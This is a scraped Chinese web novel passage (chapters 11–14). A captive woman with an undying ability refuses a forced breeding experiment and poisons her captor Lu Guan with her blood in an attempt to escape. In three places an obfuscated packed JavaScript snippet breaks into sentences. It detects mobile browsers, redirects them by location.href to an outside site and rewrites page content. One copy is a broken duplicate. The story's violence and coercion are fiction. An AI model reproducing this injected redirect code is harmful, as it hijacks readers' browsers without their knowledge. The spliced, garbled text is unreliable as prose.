“这个更好闻,睡前吃一片。” 兰落右手举着药盒看了看,这是内服药,针对所有外伤都有促进恢复的作用。 她都没发现架子上有这玩意。 “你还挺如数家珍的,看来学得不错。”兰落把药扔在枕边,准备等他走了再仔细阅读说明书,万一这药能解毒她就不吃了。 祝见尘口袋里的通讯器响了几下,他皱着眉头看完上面的内容,一脸不高兴地收起来,嘴里胡乱念叨:“是学得不错,不然也没机会改名。” “你之前不叫祝见尘?”兰落随口问,站起来准备送客。 祝见尘沉默几瞬:“也叫祝见尘。” 又发神经了。 兰落没接话,抬起右手示意祝见尘赶紧出去:“通讯器一直在响,有事你就先走吧。” 祝见尘上下扫她一眼,嘿嘿一笑:“这么急着下逐客令?我偏不走了。” 兰落放下手,眨眨眼缓解眼前的阵阵发黑,不想理会他的间歇性不要脸和持续性神经病。 “随、”她顿了顿,控制不住后仰,“随你。” 兰落三步并两步走到床边,想在眼前彻底陷入黑暗前找好支撑点。 但她终究是慢了一步,虽然成功扶住了床边,却没能稳稳坐下,反而一屁股坐在了地上。 祝见尘嘴里“哎哎哎”着就跑了过来,半跪在兰落面前,嗓音提高:“兰落?没事吧你?” 见兰落没什么反应,他伸手就去拉兰落的胳膊:“去检查一下吧。” 兰落看到他拉自己的左手,一时也顾不上什么了,抬起右手一下子攥住祝见尘的手腕:“没事,低血糖。” 祝见尘不知道信没信,反正是松开了手,任由兰落用力扯着他的手腕。 他手指动了动,忽视口袋里不断震动的通讯器,歪头凑到兰落面前,贴近看她的面色:“真的?你脸色太差了,我马上和陆观提一下,给你换换伙食……” “伙食怎么了?” 低沉的男声在门口响起。 他话音刚落,祝见尘怀里的通讯器就像死了一般安静,兰落越过祝见尘抬头向声音来源看去。 是陆观。 11. 融合 祝见尘还真是乌鸦嘴,一下就把人叫来了。 陆观的身后跟着几个全副武装的研究员,兰落有时候还挺佩服他们的反应力的,因为他们只有在陆观来基地的时候穿成这样,一看就知道是为了迎合陆观的洁癖。 陆观背着手,目光轻飘飘落在一坐一跪的两个人身上,闲庭信步走进来。 “第一次来你的房间,这里还是有些简陋了,有没有住得不舒服的地方?”陆观目光到处打量着说。 兰落知道他在和自己说话,只是还没来得及回答,祝见尘就抢先开口:“与其关心这些,不如把伙食提高一点。” 他嗓音凉凉的,说话间兰落甚至能感受到他浅浅的呼吸。 她这才发现他们似乎靠的有点近,在陆观和研究员的注视下多少有些不适,松开一直攥着祝见尘的手,往后退了点。 祝见尘手腕已经有了一圈淡红的痕迹,他们的目光不约而同落在这道红痕上,兰落有些惊讶,他皮肤太嫩了,自己的力气也算不上大,都能留下这么明显的痕迹。 祝见尘动了动手指,把手缩进口袋里。 “伙食都是按照营养标准来的,”陆观坐在不远处的沙发上,“你目光短,只想着吃饱,倒也正常。” 兰落不明白他们为什么一见面就掐起来,看上去关系似乎很差的样子。 既然关系这么差,祝见尘为什么还愿意待在陆观名下的基地干活? 祝见尘站起身:“没看见都难吃晕了吗?堂堂陆氏连雇两个厨子的钱都舍不得了?” “行了,”陆观背靠沙发,“别说这些没用的话,你既然闲着,就替张烈跑个腿,送两件设备去二号基地。” 祝见尘瞄了一眼兰落:“现在人手这么稀缺了?需要我亲自送货?” “缺倒是……”陆观敲敲手指,露出一个微笑:“不缺。” “只是你该多走动走动了,总留在这里,还不知道要闯什么祸。” 陆观视线从兰落身上飘过:“毕竟你最擅长闯祸了,不是吗?” “要不是你闯的祸,我的身体……”他轻笑着摇头,“算了,张烈,带他去送设备。” 陆观的身体不好,和祝见尘有关系? 兰落眼神在他们两个之间打转,总觉得陆观今天对祝见尘带着情绪。 再怎么样也不至于让他一个人送两台设备吧,这里的设备都又大又重,看来是真把祝见尘当驴用了。 祝见尘正大光明揉了揉兰落的脑袋,一言不发离开了这里。 兰落抬手捋顺自己的头发,有些好笑。 其实祝见尘有时候也挺怂的,不敢对着陆观发脾气就来磋磨她的头发。 “真难吃晕了?” 陆观翘着二郎腿,似笑非笑地看着兰落。 兰落撑着膝盖站起来:“没有,脚软了一下而已。” 她顿了顿,补充道:“但确实不太好吃。” “哪里有不合适的,就主动提出来,他们都会满足你的。” 陆观很宽容地开口:“不要闷不吭声,招来外人让你烦心。” 其实你比他还烦。 兰落心里这么想,嘴上却老实嗯了一声。 “好了,”陆观对研究员招招手,“这份文件你看看。” 候在旁边的研究员闻言赶紧从怀里拿出一份厚厚的纸质文件,踏着小碎步交到陆观手里。 陆观把文件平铺在茶几上,轻轻翻了几页。 不是要给她看吗,怎么自己翻起来了? 兰落耐着性子装乖,抬步挪到茶几旁,和陆观隔着一条茶几。 “这是什么?” 兰落视角下的文件是反着的,她只能看见几张流水线似的证件照,好像都是男的。 陆观看都没看她,随手撕掉一页:“这个,不行。” 那页纸被团起来,在空中划了个抛物线砸在地上。 刚刚递文件的研究员诚惶诚恐半蹲下身子,小心翼翼地捡起废纸展开,对着陆观解释:“他长相一般,但是有治愈系异能,我们本来想尝试融合出有治愈能力的……” 陆观竖起手掌阻止他:“不要解释,没有意义。” 兰落像个小母鸡一样夹着左臂,一声不吭地被他们晾在一边,眉心越来越皱。 什么意思? “什么融合?”她捏着衣角,心里隐隐有了不好的猜测。 兰落直觉这个所谓的“融合”不可能那么简单,如果只是把两个人的能力进行融合,那有什么必要专门找她?直接在实验室做融合实验不就行了吗? 陆观仿佛才想起来,轻挑了一下眉毛:“让他们解释给你听吧。” “别害怕,不是什么坏事。” 兰落从不把陆观假惺惺的安慰放在心上,他要是真那么善良,就不该建这所实验室,更不该把她买过来研究。 只是寄人篱下,难免要示弱,兰落垂着脑袋嗯了一声,表现得非常乖顺。 研究员清了清嗓子,揉搓着手里那页废纸说:“我们考虑到你已经成年,具备了成熟的生理条件,经过基地这段时间的培育在体质方面也有较大进步,所以我们初步判断你已经可以进行进一步的实验。” 兰落嘴角拉得平平的,想不明白为什么这个世界上有人能讲出这么多毫无重点的废话。 她顾忌陆观在场,尽量平和地问:“什么实验?融合又是指什么?” “额,”研究员沉吟几秒,“你要配合的实验就是融合实验,我们需要研究你的异能是否可以传播,以及能否与别人的异能相融合。” 说了半天还是废话。 “和嫁接的区别是什么?”兰落问,“面包……上次死掉的研究员不就可以嫁接异能吗?为什么不直接嫁接,反而要融合?” 陆观插话进来:“你怎么知道他是嫁接的?” 兰落看他一眼:“那天他和叶飞争执的时候我听到了,叶飞有点嫌弃他嫁接来的能力。” “呵,”陆观笑,“她的确清高。” “所以为什么不嫁接?”兰落把话题拉回正轨。 陆观给研究员使了个眼色,示意他继续解释。 研究员虽然在为兰落解惑,身子却诚实地面向陆观:“是这样的,目前的嫁接手段基本只能用于嫁接基础异能,比如硬化、石化或者兽化,剩下大部分复杂或者特殊的能力目前还是零成功率。” “不过为了保险起见,我们在提取了兰落的身体细胞之后,还是尝试了嫁接异能,但接受嫁接的几个实验体都失效了,有两个直接死于排异反应。” “虽然嫁接行为本来就有风险,但这场嫁接实验的排异反应确实大大高于其他品种的异能,也就是说兰落的异能天然排斥外来者。” “在此之后我们也尝试过将兰落的血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766452|174620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 液直接输入实验体的体内,想要观察这些血液能否作为药品,或者说作为麻醉品来使用。但据我们观察,实验体在电击时没有任何痛觉屏蔽效果,事后也没有愈合效果。” 研究员说完,重重咽了咽口水,呼吸都开始急促了起来。 他叽里咕噜一通发言,把自己累了个半死也没讲到兰落想听的重点。 她知道研究员口中的电击实验品是花子,但的确不知道他们还尝试过嫁接,还死了两个实验品。 他们算不算是被她间接杀死的? 兰落胡乱想着,心里却没多大波澜,来到这里的实验体,除了她自己,人人都有可能是短命鬼,何况害死他们的也是以陆观为首的实验团队,和她有什么关系? 如果要索命,就索陆观的命吧。 兰落在心里默默给这两个短命鬼出主意,耳朵却时刻注意着研究员接下来要说的话。 陆观始终没有抬头,闲散地翻看着茶几上的文件,时不时“嘶啦”一声撕掉一张扔在地上,完全没在意研究员说了什么。 不用想也知道,陆观肯定早就听过相关的实验报告了,哪里还需要再听一遍。 “所以,”研究员语气逐渐兴奋,“我们想要尝试一下另一种融合手段,看看这份能力能否直接通过母体进行传播,也就是遗传。” 兰落“唰”一下抬头,不可置信地盯着面罩也盖不住喜悦的研究员。 她没听错吧? 什么叫母体传播?什么叫遗传? 她抬头太猛,加上身体没有完全恢复,眼前又开始阵阵发晕,踉跄着后退两步,这才慢慢缓过来。 “吓到了?”陆观终于施舍了一个眼神,“我原本也想着,你的年纪还太小了,可能不适合做这些实验。” 他很怜悯似的,坐在沙发上从低处凝视兰落,眼神却带着不易察觉的傲慢:“但你的确已经符合生育条件,不痛的异能也能让你免受痛苦,所以这件事对你来说,不会很难以接受,对不对?” 兰落艰难开口,声音却像哽在喉咙里:“当然难以接受……如果非要做,为什么不直接人工培育?体外培育技术已经很成熟了不是吗?” “不行,”研究员一脸严肃,“我们尝试过,但毫无意外失败了,就像我刚才说的,你的异能非常排斥外来者,所以现在唯一有可能成功的手段就是母体自然培育。” “毕竟你的母亲既然能生出具有不死异能的龙凤胎,就证明这种异能在一定程度上是具备血缘传播途径的。” 兰落都快维持不住脸上的表情,心里越发烦躁,恨不能一炮轰死自己面前这两个脑子和屁股装反了的家伙。 她咬了咬唇,由于感知不到疼痛,差一点就把嘴唇内侧咬出伤口,幸好理智占了上风才及时松开牙齿。 陆观叹一口气,把被撕得残缺不全的文件转了一个方向推到兰落面前:“别怕,先看看,我已经替你筛选过了,这些男性的外貌体型以及异能都还不错。” 兰落伸手捏起文件一角,被撕得不太厚的文件就抖落开,露出内页一张证件照,上面是一个长相清秀的年轻男人。 要是放在以前,兰落或许会觉得他长相出众,但看过祝见尘那张出尘小白脸之后,这张照片就只能勉强算作清秀了。 “陆先生,”她抖了抖文件,扬起一个内敛的微笑: “您这是,真拿我当畜生了。” 12. 机会 兰落话音刚落,研究员就一脸震惊地盯着她,似乎很讶异。 不只是他,连向来一脸镇定、喜怒不形于色的陆观表情都有一瞬的崩塌。 他敛下眼睛垂头盯着地面,没几秒就轻轻笑出了声。 兰落觉得他们兄弟俩可能都有病。 她面无表情看着他微颤的肩膀,笔挺的西装已经被压出了小小的褶皱,这点无伤大雅的潦草让陆观看起来多了一分微不足道的人味儿。 ——当然了,离人还是很远。 兰落的脑子已经平静下来了,只有心脏还在轻拍着胸腔。 其实她刚刚那句怒怼也不过是脱口而出,完全没经过大脑思考。 现在平静下来,兰落心里倒也没多少后怕,反正有本事整死她,整不死她就相当于零伤害,真要破罐子破摔的话,她谁也不怕。 “你,”陆观突兀开口,眼中带着尚未消退的笑意凝视着兰落,“怎么越来越有脾气了?” “早知道不把姓祝的放进来了,这么短的时间就把你教坏了。” 陆观摇摇头,抱怨得真真假假,徒留研究员在旁边一脸便秘地剖析他的言下之意。 兰落还是没什么表情,心里十分不屑。 她原本就是这样的人,和祝见尘有半毛钱关系。 都怪祝见尘不及时查看通讯器消息,让陆观打了个措手不及。 不对,祝见尘好像看了,只是没告诉她而已。 兰落皱着眉,立刻收回了刚刚对祝见尘微不足道的同情。 ——就该让他多扛点设备,最好把他压死。 兰落转身背对着陆观,语气冰冷:“这件事我不可能答应,如果你们一定要做,就像之前一样把我架进手术室吧。” “一想到在我不知道的情况下,你们差点替我做出了一个后代,我就恶心得要命。” 陆观头痛地揉着太阳穴:“不,你错了。” “你不应该把它视为后代,它只是一颗实验的种子,你不需要对它负任何责任,等实验结束,你依然可以过你想要的生活。” 兰落想反驳,却不知道自己能说什么。 “一定要这样做是吗?” 她嗓音透着疲惫。 陆观沉默看着兰落没说话,研究员看了看他的脸色,站出来发言:“是,但这也是为了帮你看清自己的能力,以后你也能更好运用这份力量。” 兰落深吸一口气,脑子飞快运转,一时之间也只能先拖延时间:“行,我答应。” 她转身看着陆观,脸上带着三分愤怒三分倔强和四分脆弱: “但我也有我自己的要求,名单上的这些人我全部都不接受,要么你们重新找,要么给我时间让我自己找。” 陆观缓缓起身,理了理衣角:“我来之前就预料到你不会答应了。” “虽然你的父母和我强调了你是个乖顺好脾气的女孩,但我始终觉得你并不懦弱,甚至还有些小叛逆。” 他一步步走近:“如果我想的话,完全可以对你硬来,你的一切叛逆都将无计可施。” “知道我为什么选择征求你的意见吗?”他微微倾身,直视兰落的眼睛。 兰落避开他的视线,很识相地摆出下位者姿态:“不知道。” 陆观错开两步:“因为我很喜欢你,也非常喜欢你的异能。给你住最大的房间,最自由的权限,连实验都可以拒不配合,只为了实验体兰落能保持好心情。” “所以我相信我们可怜的实验体兰落,一定会明白我的良苦用心,努力配合的,对不对?” 兰落还以为他能说出什么有用的话,结果说来说去还是想洗脑她。 “是,”她右手紧握,努力怂下去,“我可以配合,但我说了,我不同意名册上的人,我要新的人选。” 研究员眼看她松口了,直接顺杆往上爬:“这些人已经是我们综合考虑下来非常合适的人选了,短时间内我们也找不到其他优质对象。况且你还没看呢,怎么知道不合……” “没和你说话!” 兰落突然扬起一只杯子,狠狠摔在了研究员脚下。 玻璃碎片纷飞,定格了一室的吵闹。 兰落红着眼眶不说话,看起来十足的倔强小白花。 研究员后撤几步,像被她突如其来的发疯震慑到了,捏着嗓子一言不发。 陆观脸色倒是没变,很自然地开口:“打扫一下,碎片容易伤人。” 研究员不情不愿地蹲在地上捡玻璃,兰落看着他怨怼的身影,心里爽了几分,但不敢表现出来,继续装成柔弱倔强的样子。 “行了,”陆观耐心十足,“说说吧,想要什么样的。” 兰落哪里知道自己要什么样的,她什么样的都不想要,只是想拖延点时间而已。 “不能太瘦不能太胖,不能太高不能太矮,不能太白不能太黑,不能太年轻不能太老,不能太吵不能太安静。” 她盯着地面扯谎,右手开始无意识摩挲左肘上愈合了一小半的伤口。 “小女孩,”陆观不知道信没信,“都是完美主义。” 他叹气:“说点具体的吧,哪怕是偶像也可以,我有办法办到。” 兰落不追星,也没有偶像,从小到大接触过的男性屈指可数,其中一半都是青蛙一样丑陋聒噪的烦人精。 她越来越烦躁,指甲深深嵌进伤口。 谁呢? 谁呢…… 最好是现在没办法出现在基地,能为她拖延时间的人。 ——不在基地? 兰落突然想起什么,眼神唰的亮起来:“祝见尘!” “我选祝见尘!” 她怎么把这个神经病忘了! 祝见尘刚被遣送去送货,这几天肯定回不来,再加上陆观和祝见尘关系似乎不太好,说不定会因此反悔,重新物色人选,也能给她留点反应时间。 兰落本打算多踩踩点再考虑离开的事,现在看来,这件事必须提上日程了。 她必须要在被迫进行恶心实验之前找到机会离开,她必须尽快逃出这里! 兰落想得入神,一时没注意到陆观陡然下压的表情。 “祝见尘?” 他冷笑:“你喜欢那种货色?” 兰落一心勾勒基地路线图,听到陆观的反问也懒得思考,敷衍地嗯嗯两声。 根据她多次摸索,基地大致的机械眼分布情况和出口她都已经了如指掌。 之前“误入”的基地后方,应该的确有一个小门供研究员使用,但出入都需要验证身份信息,周围也有穿着白大褂伪装成研究员的保镖看守,想无声无息离开几乎不可能。 相比起来,基地大门似乎看上去更加容易逃跑了,至少没有研究员守着,而且能打开门的人就在这里…… 想到这,兰落心脏狠狠一跳,一个荒谬的想法逐渐涌出脑海。 既然要尽早逃,为何不现在逃?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766453|174620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陆观就在这里……只要挟持他,就能打开基地大门,逃出实验室。 ——机会!这是个好机会! 对,想办法避开研究员,放倒陆观,然后离开这里! 兰落能感觉到自己现在不太理智,她一旦兴奋起来,冲动就会逐渐影响大脑的思考,让她的行为变得不受控。 但有时候,恰恰是这种不受控的冲动才能带她冲出重围。 兰落舔舔唇,抚摸着伤口——好巧,她正好刚补充了毒素。 “让他出去,”她压着兴奋,“我不想让他听到。” 陆观没第一时间答应,他目光沉沉地看着兰落,半晌轻笑:“怎么?难道你对他的心思见不得人?” “是见不得人,但不是对他。” 兰落直勾勾看着陆观:“是对你。” 她毫无心理负担地看着研究员吃惊的表情和陆观逐渐缩小的瞳仁,一脸坦然。 “你确定要让他听着吗?”兰落用水灵灵的眼睛盯着他,“还是说,陆先生的确有这样的喜好?” 陆观眉头紧锁,一言不发。 兰落趁热打铁:“好,那就听着吧。你知道我为什么选祝见尘吗?” “因为你们是兄弟。你发没发现,其实你和他长得有几分相似……” “够了。”陆观终于松口,轻喝一声打断兰落的话。 他眼神锁住兰落,抬起右手朝研究员挥了挥:“去工作吧。” 研究员的目光在他们两人之间转了转,没有犹豫,微微鞠了个躬就赶紧退了出去。 他离开之后,房间里就只剩下兰落和陆观两个人面对面站着,硬是把兰落口中暧昧的氛围站出了对峙的架势。 “说吧,”陆观重新坐上沙发,“你对我是怎么见不得人的?” ——想杀了他,算不算见不得人? 兰落抬起一只脚,朝着陆观走去:“这种事情和报告不一样,不是三言两语就能说明白的,更不是能直接用数据证明的。” “它需要感受。有些不能言说的心思,只需要靠你的感受就可以了,不是吗?”她的左手自然下垂,随行走微微摆动。 陆观半倚着沙发靠背,左手撑在太阳穴上,嘴边扯出一个笑,眼底却没什么感情:“怎么把锅推到我身上了?” “抱歉,我会证明的。” 兰落站着沙发前,居高不临下地看陆观。 她的态度恢复成了最开始的样子,胆怯害羞,眼里满是忐忑。 陆观扫视她:“怎么证明?” 兰落不答反问:“我能碰你吗?” “随意。”陆观好整以暇看着她,样子像极了对待一只猫或者一只狗。 总之不是人。 兰落颤抖着抬起左手,她的掌心向下,指尖蜷缩着,用指节触碰到陆观的脸颊。 他的皮肤很冷,兰落原本偏低的体温在他的对比下都显得十分温暖。 也许被她的体温惊讶到,陆观的神色有一瞬间的怔愣。 兰落注意到了这一瞬间的变化,电光火石之间,手指沿着他的脸颊飞速滑过,直接探进了陆观的唇缝之中。 陆观向来体面的形象顿时荡然无存,他抬手去扯兰落的手,然而体力却无法比拟异能者,被兰落牢牢占据了上风。 她的右手牢牢锁住陆观的下巴,遏制住他咬紧牙关的动作。 猩红的血液连成线,染红陆观没有血色的双唇,争先恐后涌进他的口腔。 13. 对峙 看着陆观被迫服下了自己的血,兰落眼中浮现出几分癫狂。 她几乎想要直接杀了他,就现在,就在这里,趁四下无人,杀了他! 但是她不能。 兰落不停告诉自己逃跑更重要,陆观的命,等离开基地再取也没关系。 陆观的神情逐渐从震惊变为愤怒,他的眼睛里燃烧着怒火,然而平日里不怒自威高高在上的脸,如今却失去了威力,让他的挣扎看上去如跳梁小丑一般无力。 兰落为了制服陆观,和他离得很近,身体几乎挨在了一起,从背面看上去,甚至有几分暧昧气氛。 如果忽略兰落满手的血和陆观狰狞的神色,任谁也不会想到他们正在激烈对抗。 但从正面看,气氛就完全变了。 兰落嘴边扬起兴奋的笑,眼里幽光浮动,她的血液起效很快,几乎在第一滴血进入他的口腔之后,陆观挣扎的力气就慢慢变小了。 她不敢掉以轻心,继续放血。 兰落的左手指尖不断传来轻微的跳动感,跳动的频率和心跳的节奏保持一致,可以说她浑身上下每个地方都产生了极度的兴奋和期待。 逃出这里的机会近在眼前,兰落怎能不激动? 血珠蜿蜒着流淌,有几丝血因为陆观的不配合偏转了方向,顺着他的下巴滑落。 兰落满脸可惜地盯着那几滴血:“真浪费,这可是我好不容易攒到的。” 陆观的表情已经平静下来,就连这种时刻,他都要维持着自己毫无用处的体面。 “你的血……” 他的口腔无法活动自如,说话非常含糊,但兰落还是听清楚了。 兰落甚至想夸他一句有研究精神,在她的钳制下还能如此求知若渴地想要了解她的血。 她皱着眉头看血流进去:“嘘,不要问,问多了会死。” 陆观的眼睛半闭起来,果然没有再说话。 她第一次见陆观的时候,就知道他是个很惜命的人,不然也不会恪守着站在安全线内不肯移动。 兰落站在他身前,抽出自己的手。 蛇头的毒效果很不错,他已经完全没有反抗的力气了。 她左手掐住陆观的脖子,防止他攻击自己,用空出来的右手在他怀里摸了摸,从质地良好的西装里摸出了一个小小的通讯器。 陆观的通讯器比基地的高级很多,也比她在外面见过的先进很多,兰落不屑地翻看了两下,把它扔在沙发最远处。 “呵呵……” 陆观竟然笑了,只是一笑起来就会露出染血的牙齿,有些滑稽。 “笑什么?”兰落垂眸问。 她刚刚虽然强逼着陆观喝了她的血,但手指的伤口还是太小,血流了一会儿就止住了,所以陆观摄入的毒素并不算多,至少和她被蛇头咬之后中的毒比起来好多了。 兰落怕陆观恢复太快,哪怕知道他体质一般也不敢轻易放手,时刻注意着他的一举一动。 陆观眼睛几乎眯成一条缝,仰着头看她:“你很谨慎。” “但你确定要这样做吗?就为了不生孩子?” 他唇角始终微微翘着,仿佛胜券在握。 兰落看他这幅死猪不怕开水烫的样子,心底的烦躁又开始翻涌:“我说了,问多了就死。” 她视线在周围扫视着,余光瞥到茶几下一小块玻璃碎片。 兰落飞快松开陆观,把碎片捡起来握在手里,然后转身重新压制住他。 这一整个过程不过几秒钟,她完全没有给陆观留下反应的时间,毫不犹豫地把玻璃碎片捏在手心。 陆观一直看着她的左手,在兰落鲜血涌出的时候终于开口:“刚刚还没闹够吗,小兰落?” “滚。”兰落双目被映出红色,不耐烦地开口骂他,一点面子都不想给陆观留。 陆观怔了怔,随后笑道:“好巧,我手里也有东西。” 兰落的侧腰被异物顶住,坚硬冰冷的质感让她瞬间猜出了这东西。 “你随身带枪?”她有些好笑又有点头疼。 陆观左手持枪,把银白小巧的枪口压在兰落的腰上:“总好过你随时自残。” 某种程度上,兰落很佩服他的谨慎和惜命,更多的却是嘲笑:“有本事开枪,我倒要看看你有没有扣动扳机的力气。” “你知道吗?”陆观岔开话题,“我很少和别人单独待在一起,只要出行,我的身边就必须保持至少一个有异能的守卫。” 兰落不懂他想表达什么:“所以呢?你在忏悔吗?忏悔自己不应该对我大意?” “是不该大意。”他继续说,“原本以为你只是有些小脾气,没想到你的胆子如此之大,竟然能做出这种事。” 陆观一脸不赞同:“你太冲动了。你有没有想过,万一今天失败了会有什么样的下场?” “不会失败。” 兰落脸上没有一丝害怕:“你配合的话我会顺利离开这里,你不配合的话我会弄死你,两种结果都是赢。” 陆观笑得枪都在轻轻抖动:“好孩子,真是好孩子,我更想让你生个孩子了。” “原本以为你和我单独相处是要诉说少女心事,我甚至考虑了一下,如果你想要和我进行融合实验也不是不可以。” “只是没想到,你满口都是对我的死亡宣判,真是……” “啪!” 兰落脸上的嫌恶越来越明显,听到这终于没忍住,挥起右手给了他一巴掌。 她用的力气不算大,但陆观毫无准备,还是被打得偏过脑袋。 他脸上的笑意一瞬间褪得干干净净,温和体面的面容有瞬间的狰狞。 陆观很快控制好表情,嗤笑一声:“过分了。” “还有更过分的。” 兰落不为所动,抬起血淋淋的左手,不由分说直接捅进陆观的嘴里。 新一轮鲜血争先恐后流进他的嘴里,陆观被迫吞咽着,面色逐渐涨红。 兰落为了方便把血灌进去,揪住他的头发逼迫他抬头,毫不客气地探入手指。 “呕……不……” 陆观下意识干呕,眼角渗出一滴生理性泪水,浑身都开始瘫软无力,就连坐姿都快保持不住,如同瘫痪一般向下滑。 银白色的手枪“啪嗒”一声落在地上,被兰落眼疾手快地踢进沙发底下。 再灌一点就好……再灌一点,他就会彻底被麻痹,失去行动能力,到时候她就可以挟持着陆观去开基地大门。 她不怕被研究员发现,只要绕过大厅,就基本不会和研究员正面碰上。 至于机械眼,只要她扶着陆观,让他看起来没那么奇怪就能蒙骗过去。就算被研究员从机械眼观察到了也没关系,她可不信这些研究员有胆子来陆观面前找存在感。 兰落舔了舔干燥的嘴唇,心脏的剧烈跳动震得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766454|174620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她浑身发麻,所有的胆子都被震到了最大。 她又不会疼,她又不会死,她有什么可怕的? “你最好乖乖配合我,不然有你好看。” 眼看着陆观已经开始翻白眼,兰落揪着他的领子,在他耳边恶狠狠威胁。 陆观嘴唇微动,吐出一口微弱的气息,似乎准备说什么。 “你……” 他艰难吐出一个字眼。 兰落侧耳听着,内心鄙夷他的身体也太差了,自己被毒的时候可是没这么虚弱。 陆观吸进一口气:“我不会……” 话才说了一半,陆观就两眼一翻,彻底晕死过去。 兰落不可置信地摇了摇,陆观就像一块死猪肉一样随她摆弄,毫无意识。 这就晕死了? 身体状况和祝见尘相比完全一个天一个地啊。 她凑近陆观,试探着摸他的颈部,感受到微弱的跳动——没死。 说不上是庆幸还是可惜,兰落用手背擦掉他脸上沾着的血渍,防止被看出异常。 已经成功一半了,只要接下来顺利带着陆观去开门就好,等出了基地,任何人都奈何不了她。 至于追捕和藏身之处,只要能逃出去,一切都不是问题…… 兰落揽住陆观的肩,正准备行动,门外就响起了刺耳的警报声。 此起彼伏的尖啸瞬间响彻整个基地,沉重的鼓点声伴随着这些刺耳警报震荡着。 兰落被吓了一跳,这些警报来得太巧了,她很难不怀疑和自己有关。 啪嗒啪嗒的脚步声杂乱无章地靠近兰落的房间,她顿感不妙,粗略看了一下陆观的外表,确定看不出异常才稍微放心,侧耳倾听着外面的动静。 近了,脚步近了! 兰落心中警笛狂响,大脑飞速运转。 刺耳的警报仍然在尖啸,那些急促的脚步却突然停下了。 ——就停在兰落的门前。 没有任何敲门问候的动作,她的门把手直接被拧动,动作粗鲁又迅速。 兰落心一横,直接扑在了陆观身上,眼中飞快漫出水意。 “砰!” 大门被粗暴打开,兰落眼中含水,一脸惊慌失措地看着门口。 门口聚集了许多研究员,一个个探头探脑地朝内看。 “陆先生!警报响了,您没事吧!” 张烈遥遥喊了陆观一声,脚步却没往前。 兰落眼神微动,突然把陆观放开,对着研究员哭喊:“你们快救救陆先生!他突然晕倒了!” “陆先生!” “陆先生……” 听到兰落的呼救,以张烈为首的研究员才像得到准许一般狂奔过来扶住瘫倒在沙发上的陆观。 手忙脚乱之间,不知谁撞到了兰落,她无力跌坐在地,掌心刚好压住了地面上的碎玻璃,左手顿时被划出长长的伤口。 她把左手护在怀里,一步步后退,远离这些研究员。 背对着这些研究员,兰落收回了惊慌害怕的表情,一脸阴沉看着他们。 不爽,太不爽了。 陆观到底有多怕死,才会把自己的生命体征和整个基地的警报系统连在一起? 兰落咬着口腔内壁的肉,心情一落千丈,刚才的兴奋与期待都被浇了个透心凉。 迟早让他死在自己的警报里,让整个基地的警报给他送葬! 14. 安慰 兰落脑中疯狂思考着该如何让自己在陆观醒来前平安脱身,不然等他醒了,肯定第一个找她算账。 “烦死了!” 兰落在心里把陆观这个废物骂了八百遍。 明明差一点就成功了,怎么偏偏出了这种意外! 她眼睁睁看着一大帮研究员簇拥着把死鱼一样的陆观抬走,不甘心地朝左手的伤口喷药。 早知道刚刚不演了,白挨一下。 兰落本来还怕这些研究员发现她的伤口从而怀疑她,在他们涌到陆观身边的时候故意被撞在玻璃碎片上,假装手上的伤口是因此出现的。 哪想到这些研究员一个个慌了神,完全把她当成了空气,根本没人注意到她,更别提手上的伤了。 研究员一窝蜂把陆观带走之后,兰落的房间总算安静下来了,只不过很多东西都被他们撞得东倒西歪,一副被抢劫的样子。 祝见尘好不容易理好的药架子也被撞歪了,好几瓶药都在地上滚来滚去。 一群没素质的。 “那个……” 张烈突然从外面探头进来,看兰落的眼神带着几分微妙。 “怎么了?”兰落切换成后怕的表情问。 张烈一边着急地看陆观被送走的方向,一边快速开口:“你先待在房间里尽量不要外出,等陆先生的身体好转了我们再带你见他,到时候你……呃……有什么没说完的话可以接着说,但现在尽量不要外出,好好待在这里。” 他磕磕绊绊地说完,也不等兰落回答就逃一样走了,还不忘把门摔起来。 兰落敢保证他肯定误会了什么,不然不可能对她如此客气,甚至可以说是手足无措。 他们的陆先生和一个实验体单独待在一起没多久就陷入了昏迷,张烈不仅不问责她,反而好声好气安抚她,真不知道该说是没脑子还是关心则乱。 陆观眼光够差的,张烈连叶飞十分之一都比不上。 不过这倒是正好方便了兰落,省的她还要花心思把自己从嫌疑人里摘出来。 她没听张烈的,在伤口不渗血之后就正大光明地离开了房间,直奔大厅。 大厅里空荡荡的,只有一个研究员一脸生无可恋地守在这里,根本就不抬头看电子屏。 看见兰落过来,她也没说什么,继续像个雕塑一样坐着。 兰落瞄了瞄纷乱的电子屏,上面分布着基地公共空间的机械眼画面,但大多集中在基地前方,像后方的鸽子笼、研究员休息室包括隐藏的后门都不在其中。 